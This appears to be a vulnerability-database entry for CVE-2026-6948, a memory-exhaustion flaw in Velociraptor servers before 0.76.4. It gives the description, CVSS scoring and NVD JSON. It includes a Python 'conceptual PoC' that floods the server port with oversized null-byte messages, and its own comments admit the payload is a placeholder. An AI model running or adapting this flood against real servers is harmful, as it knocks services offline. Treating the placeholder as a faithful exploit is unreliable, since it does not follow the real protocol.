Security Vulnerability Report
中文
CVE-2026-6948 CVSS 4.9 MEDIUM

CVE-2026-6948

Published: 2026-05-04 00:16:39
Last Modified: 2026-05-04 15:22:53

Description

Velociraptor versions prior to 0.76.4 contain a resource exhaustion vulnerability in the server's agent control channel. This allows a compromised or rogue Velociraptor client to crash the server via out-of-memory (OOM) by sending crafted messages through the normal client communication channel.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Velociraptor < 0.76.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Conceptual PoC for CVE-2026-6948 # This script attempts to trigger OOM on a vulnerable Velociraptor server # by sending malformed messages to the agent control channel. target_host = "127.0.0.1" target_port = 8000 # Default Velociraptor frontend port def send_malicious_message(sock): # Construct a payload designed to exhaust memory # In a real scenario, this would match the specific message protocol # that triggers the allocation bug. payload = b"\x00" * 102400 # Large payload placeholder # Prepend length header (example protocol structure) header = struct.pack(">I", len(payload)) message = header + payload try: sock.sendall(message) print("Malicious message sent.") except Exception as e: print(f"Error sending message: {e}") try: # Establish connection to the server with socket.create_connection((target_host, target_port), timeout=5) as s: print(f"Connected to {target_host}:{target_port}") # Send multiple messages to accelerate OOM for i in range(1000): send_malicious_message(s) except Exception as e: print(f"Connection failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-6948", "sourceIdentifier": "[email protected]", "published": "2026-05-04T00:16:39.467", "lastModified": "2026-05-04T15:22:52.850", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Velociraptor versions prior to 0.76.4 contain a resource exhaustion vulnerability in the server's agent control channel.\n\n\n\nThis allows a compromised or rogue Velociraptor client to crash the server via out-of-memory (OOM) by sending crafted messages through the normal client communication channel."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "references": [{"url": "https://docs.velociraptor.app/announcements/advisories/cve-2026-6948/", "source": "[email protected]"}]}}